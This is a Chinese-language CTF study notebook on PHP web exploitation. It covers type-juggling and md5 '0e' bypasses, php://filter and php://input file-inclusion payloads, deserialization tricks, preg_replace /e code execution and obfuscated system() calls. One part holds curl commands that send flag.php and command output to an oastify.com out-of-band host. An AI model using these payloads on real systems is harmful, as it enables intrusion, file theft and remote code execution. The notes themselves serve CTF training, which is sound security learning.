目录
函数
intval()函数
intval() 不能用于 object 和 array,否则会产生 E_NOTICE 错误并返回 1,intval() 传入非空数组就会返回 1,而 preg_math() 只能处理字符串,当传入的是数组时会直接返回false。
先计算后转换
intval()
会忽略字符串开头的空白字符(如空格、制表符等)。从第一个非空白字符开始提取数字部分,直到遇到非数字字符。
因此,
' 35'
会被转换为整数35
。
intval(' 35 ')
的结果是35
,因为intval()
会忽略字符串开头和结尾的空白字符并提取数字部分。
intval()
是处理字符串到整数转换的常用函数,适用于需要确保变量为整数的场景。
intval()==0情况
(1)字母开头的字符串
字符串形式的字母或数字(如 "a", "b123", 等),在 PHP 中,任何以字母开头的字符串在转换为整数时通常会被视为 0。
(2)空字符串 "" 和 "0":在转换为整数时也是 0。
(3)空数组:空数组 array() 在转换为整数时会被视为 0。
(4)整数 0:直接返回整数 0。
(5)布尔值 false:布尔值 false 在转换为整数时会被视为 0。
1. 字符串转换
当字符串以合法的数字开头时,intval() 会提取开头的数字部分进行转换。
2. 浮点数转换
直接截取整数部分,不进行四舍五入。
3. 布尔值转换
true 转换为 1,false 转换为 0。
4. 数组转换
非空数组转换为 1,空数组转换为 0。
5. 对象转换
对于对象,intval() 通常会将其转换为 1。
6.指定进制转换
当使用 $base 参数时,可以将字符串按照指定的进制进行转换。
intval(mixed $value, int $base = 10): int
如果 base(转换基数) 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);
如果字符串以 "0" 开始,使用 8 进制(octal);
否则,将使用 10 进制 (decimal)。
*************************先计算后转换----*******
数字 10
1.进制绕过
16:0xa
8:012
2:0b1010
2.小数绕过
10.0
10.1
3.正号绕过(适用其他进制及科学计数法)
+10
+0xa
4.科学技术法
1e1
5.运算符(+,-,*,/)
5+5
15-5
2*5
20/2
6.取反(一二次),异或,按位与,按位或,
~,|,||,^,&,&&
7.字母
10a
is_numeric() 函数
is_numeric()
函数在判断时会严格要求字符串仅由数字字符、可能的小数点、正负号或者科学计数法相关的字符(如e
)组成,一旦包含其他非数字相关字符,就会判定为非数字字符串,返回false
。---------能计算先计算吧
is_numeric()
会忽略字符串开头的空白字符(如空格、制表符等)。但是,字符串中间或结尾的空白字符会导致
is_numeric()
返回false
。// 如:‘ 35’可以,但‘35 ’就不行
用于检测变量是否为数字或数字字符串
- 整数情况:对于变量
$intNumber
,其值为整数123
,is_numeric()
函数会返回true
,因为整数属于数字类型。- 浮点数情况:
$floatNumber
的值是浮点数3.14
,同样满足数字的定义,函数返回true
。- 数字字符串情况:
$numericString
是字符串"456"
,但它表示的是一个数字,is_numeric()
也会返回true
。- 科学计数法情况:像
"1.23e4"
这样用科学计数法表示的字符串,函数也会将其识别为数字,返回true
。- 非数字字符串情况:
$nonNumericString
的值为"abc"
,这不是一个数字或者数字字符串,函数返回false
。- 布尔值情况:布尔值
true
不是数字,所以is_numeric()
对于$boolValue
会返回false
。
is_string()
is_string()
只能检测变量是否为字符串类型。对于其他类型(如整数、布尔值、数组等),它会返回false
。空字符串
""
也被认为是字符串类型,is_string()
会返回true
。如果变量是其他类型(如整数或布尔值),即使可以通过类型转换为字符串,
is_string()
也不会返回true
。如果变量是一个对象,并且该对象实现了
__toString()
方法,is_string()
仍然会返回false
,因为对象的类型不是字符串。
in_array() 函数
in_array() 函数存在弱比较的漏洞,如果没有设置第三个参数,in_array() 函数在比较时默认是弱类型比较,这意味着它会进行自动类型转换。例如数组中的元素是整数,而搜索的值是字符串,PHP 会尝试将字符串转换为整数来进行比较。
str_replace()
str_replace()
是 PHP 中一个非常实用的字符串处理函数,主要用于在字符串中替换指定的子字符串。
- 大小写敏感:
str_replace()
函数是大小写敏感的,如果需要进行不区分大小写的替换,可以使用str_ireplace()
函数。- 替换顺序:当
$search
是数组时,替换操作是按照数组中元素的顺序依次进行的,可能会导致一些意外的结果。例如,如果先替换"ab"
为"cd"
,再替换"abc"
为"xyz"
,可能会得不到预期的结果。- 递归替换:
str_replace()
不会进行递归替换,即替换后的字符串不会再次进行替换操作。单行匹配:
str_replace()
默认只会匹配单行文本中的子字符串,无法直接处理多行文本中的换行符。无法处理正则表达式:
str_replace()
不支持正则表达式,因此无法灵活匹配复杂的模式。
preg_replace函数
只匹配第一行的数据,不能匹配多行的字符,所以我们可以使用换行符进行绕过
?aaa=%0apass_the_level_1%23
相比str_replace(),preg_replace可以处理正则表达式
trim() 函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。
gettext 函数
php 扩展目录下如果有 php_gettext.dll,就可以用 _() 来代替 gettext() 函数,_() 就是 gettext() 的别名,常常被用来简化代码。
gettext 函数用于在 PHP 应用程序中实现国际化(i18n)和本地化(l10n),说白了就是根据当前语言环境输出翻译后的字符串。
gettext
函数用于根据当前语言环境查找并返回翻译后的字符串。
preg_match() 函数
preg_match() 是 PHP 中一个强大且常用的函数,用于执行正则表达式匹配操作。
当 preg_match() 函数的 $subject 参数非常长时,它不会返回 null,其返回值通常为 0 或 false,具体取决于不同的情况。
处理数组返回 false
贪婪匹配 vs 非贪婪匹配
贪婪匹配(默认):
使用
+
或*
时,会尽可能多地匹配字符。例如,
/.+abc/
会匹配到最后一个abc
。非贪婪匹配:
使用
+?
或*?
时,会尽可能少地匹配字符。例如,
/.+?abc/
会匹配到第一个abc
。
extract($_POST)
遇extract($_POST) 可以?_POST[key1]=36d&_POST[key2]=36d
extract($_GET)反之
call_user_func()函数
(1)调用普通函数
<?php function sayHello($name) { return "Hello, $name!"; } $result = call_user_func('sayHello', 'John'); echo $result; // 输出: Hello, John! ?>
(2)调用类方法
<?php class Greeter { public static function sayHello($name) { return "Hello, $name!"; } } $result = call_user_func(['Greeter', 'sayHello'], 'John'); echo $result; // 输出: Hello, John! ?>
create_function 函数
用法:create_function(string $args, string $code)
$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包含函数的实际代码。
function f($a) {
echo $a . "123";
}
f('Hello'); // 输出 Hello123
查看目录函数
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。
其他函数
strstr() 是 PHP 中的一个内置函数,用于在一个字符串中查找另一个字符串首次出现的位置,并返回从该位置开始到字符串末尾的所有字符
strpos() 是 PHP 中的一个内置函数,用于查找字符串中某个子字符串首次出现的位置 //添加空格或者使用加号绕过 , 直接处理数组会返回null
parse_str() 是 PHP 中的一个内置函数,主要用于把查询字符串解析到变量中
ereg() 函数是 PHP 中用于执行正则表达式匹配的函数,不过该函数已经在 PHP 5.3.0 版本中被弃用,在 PHP 7.0.0 版本中被移除。/* ereg 函数存在 NULL 截断漏洞,我们可以使用 %00 进行截断,payload:
?c=a%00778*/
strrev() 是一个在多种编程语言中都存在的函数,其主要功能是将字符串进行反转
is_file() 是 PHP 中的一个内置函数,用于判断指定的路径是否为一个正常的文件。/*/proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php*/
str_replace() 是 PHP 中一个非常实用的字符串处理函数,主要用于在字符串中替换指定的子字符串
extract($_POST); 是 PHP 中的一种用法,用于将 $_POST 数组中的键值对提取为变量。它的作用是将 $_POST 数组的键作为变量名,数组的值作为变量值,从而快速创建一组变量。
注:使用PHP等协议也可以绕过is_file()
php 短标签
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
php中的魔术方法
__construct 当一个对象创建时被调用 //$test = new User("benben"); __destruct 当一个对象销毁时被调用 //unserialize($ser); 和 ?> __wakeup() 使用unserialize时触发 //unserialize($user_ser) __sleep() 使用serialize时触发 // serialize($user); __toString 当一个对象被当作一个字符串被调用。// echo $test; __invoke() 当脚本尝试将对象调用为函数时触发 //$test = new User() ;echo $test() // $test = new User() ; __call() 在对象上下文中调用不可访问的方法时触发 //$test->callxxx('a'); __callStatic() 在静态上下文中调用不可访问的方法时触发 //$test::callxxx('a'); __get() 用于从不可访问的属性读取数据 // $test ->var2; __set() 用于将数据写入不可访问的属性 // $test ->var2=1; __isset() 在不可访问的属性上调用isset()或empty()触发 // isset($test->var); __unset() 在不可访问的属性上使用unset()时触发 //unset($test->var); __clone() 当使用clone关键字拷贝完成一个对象后 // $newclass = clone($test);
php强弱比较
//{"result":ssss} json格式的字符串解码后会变成一个数组
数组的比较 //复杂类型在比较时总是大于标量类型。
规则
数组与数字、字符串、布尔值等标量类型比较时,数组总是被视为“大于”标量类型。
数组与
null
比较时,只有空数组会被视为等于null
。数组与数组比较时,会逐个比较键和值。
数组总是被视为“大于”字符串,数字。 即无论字符串的内容是什么,数组与字符串的 == 比较结果总是 false。 当一个数组与布尔值或null进行比较时: 如果数组不为空,它会被视为 true。 如果数组为空,它会被视为 false。 // 只有空数组 $array == null 为 true // 只有空数组 $array == false 为 true 数组与数组比较: 当两个数组进行比较时,PHP 会逐个比较它们的键和值。 如果两个数组的键和值完全相同,则它们相等。 如果数组的键或值不同,则它们不相等。
弱比较中,true和非空、非零字符串弱比较(==)都是为true,因为 PHP 在弱比较时会进行类型转换,将非空、非零字符串视为“真值”。同理
false
和空字符串或零字符串:
空字符串或
"0"
会被转换为false
,因此false == ""
和false == "0"
的结果都是true
。
在松散比较中,PHP 会忽略字符串开头的空白字符,此,
" 89"
和"89"
被视为相等,条件成立。
md5() 和 sha1() 函数无法处理数组,如果传入的为数组,会返回NULL----可用于强比较
某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理--不强比较
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
0e215962017:0e291242476940776845150308577824
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
md5 强碰撞----加密后完全相同 --- 但存在不可见字符 --16进制形式
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
md5值:
008ee33a9d58b51cfeb425b0959121c9
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
md5:
cee9a457e790cf20d4bdaa6d69f01e41
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
php等伪协议
1. php://filter伪协议
条件:需要开启allow_url_fopen=on
用法:?file=php://filter/read=convert.base64-encode/resource=xxx.php
解释:通过指定末尾文件,可以读取经base64加密后的文件源码,能够读取敏感文件
2. php://input伪协议
条件:需要开启allow_url_include=on
用法:?file=php://input
解释:在url中输入?file=php://input,数据通过POST传过去,可以写入木马,可以命令执行
3. zip://伪协议
条件:PHP版本>=5.3.0,或者需要手动将#编码成%23
用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]
解释:通过在本地新建一个文件test.php,并且压缩成test.zip压缩包,之后便可以用zip伪协议包含test.php
4. phar://伪协议
用法:?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
解释:与zip://伪协议类似但用法不同,区别在于用/把压缩文件路径和压缩文件内的子文件名分隔开
5. data:text/plain伪协议
条件:需要开启allow_url_fopen=on和allow_url_include=on
用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=date:text/plain;base64编码后的php代码
解释:与php伪协议的input类似,可以执行任意代码但是利用条件和用法不同,并且经过base64编码后的加号和等号要手动进行url编码,以免浏览器识别不了
6. file://伪协议
用法:?file=file://文件绝对路径
解释:用于访问本地文件系统,不受allow_url_fopen和allow_url_include的影响
7. compress.zlib:// 协议
用法:?file=compress.zlib://flag.php
解释:在 PHP 中,compress.zlib:// 是一种封装协议(wrapper),它允许对文件进行压缩或解压缩操作。当使用 compress.zlib:// 作为文件路径的前缀时,PHP 会尝试以 Zlib 压缩格式读取或写入文件。
?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter/write=string.rot13/resource=sh.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/resource=flag.php
filter 伪协议支持多种编码方式,而无效的编码方式就被忽略掉了
?f=php://filter/convert.iconv.utf8.utf16|ctfshow/resource=flag.php
所以可以将ctfshow换为想要包含的字符串
PHP反序列化
三种变量
公共变量(Public Variables)
公共变量是在类中声明时没有使用
private
或protected
关键字的变量,或者明确使用了public
关键字声明的变量。这些变量在类的外部和内部都是可见的,并且可以通过类的实例来访问和修改。class MyClass { public $publicVar = 'I am public'; } $instance = new MyClass(); echo $instance->publicVar; // 输出: I am public $instance->publicVar = 'New value'; // 可以修改
protected
变量:可以通过子类访问 在类的外部,不能通过对象直接访问
protected
变量。不能直接通过类的实例访问:如果有一个子类继承了包含
protected
变量的父类,那么子类可以访问和修改这个protected
变量。这通常是通过子类的方法来实现的,这些方法可以返回或设置protected
变量的值。class ParentClass { protected $protectedVar = 'I am protected'; public function getProtectedVar() { return $this->protectedVar; } } class ChildClass extends ParentClass { public function printProtectedVar() { echo $this->protectedVar; // 子类可以访问父类的protected变量 } } $parentInstance = new ParentClass(); // echo $parentInstance->protectedVar; // 错误: Cannot access protected property echo $parentInstance->getProtectedVar(); // 正确: 通过公共方法访问protected变量 $childInstance = new ChildClass(); $childInstance->printProtectedVar(); // 正确: 子类访问父类的protected变量v
私有变量(Private Variables)
私有变量是使用private关键字声明的变量。这些变量只能在类的内部访问和修改,类的外部无法直接访问它们。
class MyClass { private $privateVar = 'I am private'; public function getPrivateVar() { return $this->privateVar; } } $instance = new MyClass(); echo $instance->privateVar; // 错误: 无法访问私有属性 echo $instance->getPrivateVar(); // 正确: 通过公共方法访问私有属性
私有变量 在类外赋类值方法
$b = new backDoor(); $c = new ctfShowUser(); $reflection = new ReflectionClass($c); $property = $reflection->getProperty('class'); $property->setAccessible(true); $property->setValue($c, $b); echo urlencode(serialize($c));
三种变量序列化
public 公有,类成员可以在任何地方被访问,如果不加public默认为公有
protected 受保护,可以被自身或者子类和父类访问到
private 私有 只能被自身访问
从上面序列化的结果可以看到public变量里面长度都是正常的
protected的格式为(%00%00变量名),上面的例子受保护的变量名长度为12,变量名长度为9,剩下3个是%00%00注意不是空格是%00,这也是为什么后面有用url编码打印一次,因为方便看到
private的格式为(%00类名%00变量名)
__wakeup()函数绕过
同时存在 __unserialize() 和 __wakeup()函数,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空。
__wakeup()方法漏洞
存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;
调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,以下的简单例题是__wakeup()方法漏洞的利用:
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} //将成员属性数量2改为3,大于实际值2即可,payload如下: ?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}?p=O:6:"HaHaHa":2:
字符串逃逸
1.反序列化特点
反序列化以;}结束,其后的内容不影响正常的反序列化;
属性值的内容是根据其前面代表字符串长度的整数判断的;
2.字符串逃逸的成因
为了安全将序列化后的字符串作一些关键词替换后再反序列化,却导致字符串长度变长或变短,在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的;
3.字符串增减成因
防守者通过将指定字符串变为其它字符串,将得整体字符串长度增加或减少,导致unserialize()处理失败。我们的目的就是将unserialize()处理不失败。
一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;
字符增多
字符增多,会将最后内容去掉,将内容拼接在增加的末尾就行
<?php
class haha
{
public $a = 'AAA';
public $b = '12345';
}
$m = new haha();
$n = serialize($m);
//echo $n;
//O:4:"haha":2:{s:1:"a";s:3:"AAA";s:1:"b";s:5:"12345";}
//echo print_r(unserialize($n), true);
// haha Object
// (
// [a] => AAA
// [b] => 12345
// )
//将序列化的字符串属性a的值中的A替换为cc,每替换一个A长度加1
function filter($str)
{
return preg_replace('/A/' ,'cc' ,$str);
}
//";s:1:"b";s:5:"12345";}长度为23,需要23个A完成字符串逃逸
$payload = new haha();
$payload->a = 'AAAAAAAAAAAAAAAAAAAAAAA";s:1:"b";s:5:"/flag";}';
$payload = serialize($payload);
$payload = filter($payload);
echo $payload;
//O:4:"haha":2:{s:1:"a";s:46:"cccccccccccccccccccccccccccccccccccccccccccccc";s:1:"b";s:5:"/flag";}";s:1:"b";s:5:"12345";}
echo print_r(unserialize($payload), true);
// haha Object
// (
// [a] => cccccccccccccccccccccccccccccccccccccccccccccc
// [b] => /flag
// )
字符减少
变少吃掉内容,计算长度不吃掉重要内容就行
session反序列化
Phar反序列化
创建 PHAR 文件
<?php // 创建一个新的 PHAR 文件 $phar = new Phar('myapp.phar', 0, 'myapp.phar'); // 开始添加文件 $phar->startBuffering(); // 添加单个文件 $phar->addFile('index.php'); // 添加整个目录 $phar->buildFromDirectory(__DIR__ . '/src'); // 设置默认的入口文件 $phar->setDefaultStub('index.php'); // 停止缓冲并保存 PHAR 文件 $phar->stopBuffering(); ?>
原生类利用
类ReflectionClass与FilesystemIterator
FilesystemIterator
php内置类,利用 FilesystemIterator 获取指定目录下的所有文件
eval("echo new FilesystemIterator(getcwd());");
ReflectionClass
ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo)到页上。
eval("echo new ReflectionClass('ctfshow');");
php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;
目录遍历类——DirectoryIterator
可输出指定目录的第一个文件;
文件读取类——SplFileObject
可读取指定文件的内容;
echo new $_GET['a']($_GET['b']);
<?php class test { public $a; public $b; public function __wakeup() { echo $this->a($this->b); } } //$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag //$a=SplFileObject,$b=/flag 时可读取/flag文件的内容 //DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只 //能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文 //件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容 ?>
杂列
对类属性不敏感
protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00* %00和%00类名%00也可以被正确解析;
引用$h->b = &$h->a;
取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
O:+6绕过正则
if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); }
匹配到O:4会终止程序,可以替换为O:+4绕过正则匹配;
传参注意点
在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
类方法调用
在 php 中,-> 用于访问类的实例成员(属性和方法),我们需要先实例化类,然后通过实例对象来调用其成员;而 :: 用于访问类的静态成员(静态属性和静态方法)和常量,静态成员属于类本身,而不是任何具体实例,因此不需要实例化类即可调用它们。
ctfshow=ctfshow::getFlag
ctfshow
:可能是一个类名。
::
:范围解析操作符(也称为双冒号),用于调用类的静态方法或访问静态属性。
getFlag
:ctfshow
类的静态方法,可能用于获取某个标志(Flag)。
and
和 &&
逻辑与运算
&&
的优先级高于赋值运算符=
。and
的优先级低于赋值运算符=
。
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
<?=`cat *`;
先转为 base64 编码:PD89YGNhdCAqYDs= 此处去掉 = 为: PD89YGNhdCAqYDs
经过hex2bin()为:纯数字
5044383959474e6864434171594473
__toString()
魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。
eval("echo new Exception(system('tac fl36dg.txt'));");
可以执行代码
$GLOBALS
超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。遇到var_dump()经常用到它
var_export(get_defined_vars())
get_defined_vars()
返回当前作用域中所有已定义变量的数组,var_export()
将其格式化为可读的字符串。即查看当前作用域中的所有变量。
PHP参数包含非法字符
在 PHP 中,当通过
GET
或POST
方法传递参数时,如果参数名中包含非法字符(如空格、点.
等),PHP 会自动将这些字符替换为下划线_
。在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次
$_SERVER['argv']
在 PHP 中,
$_SERVER['argv']
是一个超全局数组,用于获取通过命令行运行 PHP 脚本时传递的参数。
$_SERVER['argv']
:一个数组,包含通过命令行传递给脚本的所有参数。
$_SERVER['argc']
:一个整数,表示传递给脚本的参数个数。如果需要保留原始参数名,可以使用
$_SERVER['QUERY_STRING']
和parse_str
手动解析查询字符串https://www.example.com/page.php?name=John&age=25$_SERVER['QUERY_STRING']
的值为:name=John&age=25
奇特的传参方式
?F=`$F `;sleep 3 // 适用对$F长度有要求
?F=`$F`;+curl -X POST -F xx=@flag.php http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
这里还可以直接命令执行:?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
$f1($f2) intval()后为0的情况
f1=system&f2=system # 布尔值 false
f1=md5&f2=phpinfo # 字母开头的字符串
f1=usleep&f2=usleep # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。
1-phpinfo()
在 php 里数字和一些命令进行运算后也是可以让命令执行的,比如 1-phpinfo(); 是可以执行 phpinfo() 命令的,
1-system('tac flag.php')-1
1+system('tac flag.php')+1
1*system('tac flag.php')*1
1/system('tac flag.php')/1
1|system('tac flag.php')|1
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
1?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):1
1==system('tac flag.php')|1
<?php
echo urlencode(~'system');
echo "\n".urlencode(~'tac flag.php');
?>
命名空间组织代码方式
在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。
大写S当十六进制绕过
表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;
例如 s:13:"SplFileObject" 中的Object被过滤
可改为 S:13:"SplFileOb\6aect"
小写s变大写S,长度13不变,\6a是字符j的十六进制编码
php类名不区分大小写
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
等效于
O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
PHP有个知识点:
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
而在本题中。代码块是这样的:
(' . $re . ') //单引号,所以$re不会被解析成变量。
如果是
(" . $re . ") //双引号,$re会被解析成变量。
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei', //preg_replace()在/e的匹配模式下,会将替换后的字符串作为php代码执行
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {//将GET传入的键【$re】和值【$str】成对遍历后放进函数comlpex()
echo complex($re, $str). "\n";
}
function getFlag(){ //此函数有执行eval函数权限。应该是最终目标。
@eval($_GET['cmd']);
}
/next.php?id=1&\S*=${getFlag()}&cmd=system('ls /');
//这里id随便设置,cmd写完RCE后要记得分号闭合。
// \S 匹配任意非空白字符(空白字符如回车、换行、分页等 )
// * 贪婪模式,匹配任意次的最大长度。
使用$(())
进行数学运算
在linux语法中,我们可以使用
$(())
进行数学运算。$((7*7))
回显49。
$(())
回显0。
我们利用【~】取反字符。
$((~$(()))) 回显-1 $((~$(())))$((~$(()))) //回显-1-1 $(($((~$(())))$((~$(()))))) //回显-2 $(($(($((~$(())))$((~$(()))))))) //回显1 它是在 $((~$(())~$(()))) 基础上再取反。等于$((~$(-2)))
同理。我们需要13个-1。再取反。$((~$(-13))) 即是 12
payload:
//这里我写一下过程。 $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) //13个-1 $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))) //13个-1加和 值为-13 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) //对-13取反。即先变13再减1=>12 //最终payload: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
参考:
关于 PHP(反)序列化 的知识_php serialize-优快云博客
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-优快云博客
php反序列化漏洞学习 - AW_SOLE - 博客园
NSSCTF靶场刷题(4)_(~%8c%86%8c%8b%9a%92)(~%93%8c);-优快云博客
My6n-优快云博客